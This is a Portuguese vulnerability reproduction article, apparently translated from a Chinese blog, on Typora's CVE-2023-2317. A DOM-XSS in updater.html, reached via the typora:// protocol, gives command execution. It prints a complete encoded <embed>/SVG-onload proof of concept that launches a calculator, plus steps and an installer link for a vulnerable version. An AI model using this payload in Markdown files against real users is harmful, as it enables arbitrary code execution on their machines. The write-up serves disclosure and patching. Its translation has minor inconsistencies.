Vulnerabilidade de execução remota de código Typora

Declaração:
Este artigo é apenas para trocas técnicas. Por favor, não o utilize para fins ilegais.
Quaisquer consequências e prejuízos diretos ou indiretos causados ​​pela divulgação e uso das informações fornecidas neste artigo são de responsabilidade do próprio usuário. O autor do artigo o artigo não assume qualquer responsabilidade por isso.

1. Introdução do produto

Typora é um editor Markdown leve desenvolvido por Abner Lee. Ao contrário de outros editores Markdown, Typora não usa uma exibição de coluna dupla de código-fonte e visualização, mas usa um método de edição WYSIWYG para alcançar Tem a função de visualização instantânea, mas você pode também mude para o modo de edição de código-fonte.

2. Visão geral da vulnerabilidade

Razão: protocolo typora

Typora implementa o protocolo typora:// internamente, que pode ser usado pelo Typora para acessar arquivos específicos.

Há uma vulnerabilidade de segurança nas versões anteriores ao Typora 1.6.7. A vulnerabilidade decorre do fato de que o código JavaScript pode ser carregado na janela principal do Typora carregando typora://app/typemark/updater/update.html na tag.

3. Explorando vulnerabilidades

por

<script src="typora://app/typemark/lib.asar/MathJax3/es5/input/tex/extensions/xypic.js" charset="UTF-8"></script>

Para este acesso, por exemplo, lib.asar está localizado na pasta de recursos do diretório de instalação do Typora, e updater.html está localizado no arquivo updater do diretório de instalação do Typora. Portanto, usando o protocolo typora:// para acessar o atualizador .html deve ser escrito assim:

typora://app/typemark/updater/updater.html?a=xxx&b=xxx&c=xxx

Criar carga útil

De acordo com o pensamento convencional, deveríamos exigir a biblioteca child_process e então chamar o parâmetro exec, mas a função require não é definida em typora, mas a função reqnode é usada em seu lugar:

Portanto, a carga útil no ambiente Windows pode ser escrita assim:

reqnode('child_process').exec("calc")

Pacote na tag svg para implementar o carregamento da página:

<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>

Para ter efeito em ambientes Windows e Linux, podemos escrever a carga assim:

<svg/onload=top.eval(`reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])`)></svg>

Finalmente, a codificação URI é realizada nos parâmetros releaseNoteLink e rótulos. O POC final é:

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

decodificação base64

4. Recorrência de vulnerabilidades

Quando este PoC é carregado no Typora, updater.html é carregado usando uma carga útil DOM-XSS, que executa o código JavaScript na janela principal, executando comandos do sistema. As operações específicas são as seguintes:

1. Baixe e implante o ambiente de versão vulnerável. A versão de implantação aqui é

Typora para Windows 1.5.12 (o pacote de instalação está disponível no disco de nuvem Baidu abaixo)

Link: https://pan.baidu.com/s/12SMngr3Ks3D_OJ1KO17Zgw?pwd=i13d 
Código de extração: i13d

Dicas: Você precisa ativá-lo após o download, se quiser apenas reproduzi-lo não precisa ativá-lo.

2. Crie um novo arquivo md e escreva o código poc. Observe que o tipo é html.

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

3. Em seguida, abra o arquivo e o comando será executado.

Abra a calculadora com sucesso


4. Teste o vídeo

Fica tão embaçado quando carregado na plataforma que todos podem dar uma olhada##

Execução do comando Typora: CVE-2023-2317

5. Sugestões de reparo

Atualmente, o fabricante lançou um patch de atualização para corrigir a vulnerabilidade. O link para obter o patch é:

https://support.typora.io/What's-New-1.6/https://buaq.net/go-175535.html?utm_source=feedly

Acho que você gosta

Origin blog.csdn.net/qq_56698744/article/details/132755730
Recomendado
Clasificación